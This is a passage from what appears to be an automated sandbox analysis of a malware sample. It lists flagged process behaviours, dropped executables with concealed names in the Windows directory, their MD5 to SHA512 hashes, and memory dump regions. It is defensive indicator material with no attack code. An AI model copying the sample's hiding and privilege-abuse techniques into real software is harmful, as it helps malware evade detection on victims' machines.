C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4544
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1492
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exeFilesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0iekspm.4u4.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Windows\$sxr-cmd.exeFilesize
265KB
MD594912c1d73ade68f2486ed4d8ea82de6
SHA1524ab0a40594d2b5f620f542e87a45472979a416
SHA2569f7ebb79def0bf8cccb5a902db11746375af3fe618355fe5a69c69e4bcd50ac9
SHA512f48a3b7a2e6426c0091bb159599921b8e4644c8ae83a2a2a82efc9d3e21e4e343d77339917d8aabed6d8025142a2a8e74bf1fa759edb6146bc6e39fbece9e05d
-
C:\Windows\$sxr-mshta.exeFilesize
14KB
MD598447a7f26ee9dac6b806924d6e21c90
SHA1a67909346a56289b7087821437efcaa51da3b083
SHA256c162abe51a04727507be4f98b95db6356dd64decd042dfb4090e57fa0101f2ed
SHA512c708672a28072c7754eb99f0cf2aa81bf7205d8512ae44242848c2160acf26454029bfb4b76f928bac27a3bed260f95a71bd12bcf2620865b756ba89d66f261b
-
memory/760-35-0x00007FFCE7BA0000-0x00007FFCE7D7B000-memory.dmpFilesize
1.9MB
-
memory/760-58-0x0000023018E50000-0x0000023018EA8000-memory.dmpFilesize
352KB
-
memory/760-15-0x000002307CCF0000-0x000002307CD66000-memory.dmpFilesize
472KB
-
memory/760-27-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-32-0x0000023018000000-0x0000023018024000-memory.dmpFilesize
144KB
-
memory/760-14-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-36-0x00007FFCE75B0000-0x00007FFCE765E000-memory.dmpFilesize
696KB
-
memory/760-37-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-38-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-39-0x00000230182F0000-0x0000023018D40000-memory.dmpFilesize
10.3MB
-
memory/760-41-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-42-0x0000023018D40000-0x0000023018DE6000-memory.dmpFilesize
664KB
-
memory/760-57-0x0000023018DF0000-0x0000023018E46000-memory.dmpFilesize
344KB
-
memory/760-141-0x00007FFCCBCE3000-0x00007FFCCBCE4000-memory.dmpFilesize
4KB
-
memory/760-59-0x0000023018EB0000-0x0000023018ED2000-memory.dmpFilesize
136KB
-
memory/760-62-0x00007FFCE7BA0000-0x00007FFCE7D7B000-memory.dmpFilesize
1.9MB
-
memory/760-70-0x0000023019160000-0x000002301916A000-memory.dmpFilesize
40KB
-
memory/760-178-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-177-0x00007FFCE2422000-0x00007FFCE2423000-memory.dmpFilesize
4KB
-
memory/760-147-0x00007FFCE7BA0000-0x00007FFCE7D7B000-memory.dmpFilesize
1.9MB
-
memory/760-148-0x00007FFCE75B0000-0x00007FFCE765E000-memory.dmpFilesize
696KB
-
memory/760-78-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-79-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-9-0x000002307C8C0000-0x000002307C8E2000-memory.dmpFilesize
136KB
-
memory/760-8-0x00007FFCCBCE3000-0x00007FFCCBCE4000-memory.dmpFilesize
4KB
-
memory/760-16-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/760-142-0x00007FFCCBCE0000-0x00007FFCCC6CC000-memory.dmpFilesize
9.9MB
-
memory/936-137-0x00007FFCE7BA0000-0x00007FFCE7D7B000-memory.dmpFilesize
1.9MB
-
memory/936-138-0x00007FFCE75B0000-0x00007FFCE765E000-memory.dmpFilesize
696KB
-
memory/1088-73-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB
-
memory/1088-71-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB
-
memory/4292-77-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
-
memory/4292-75-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB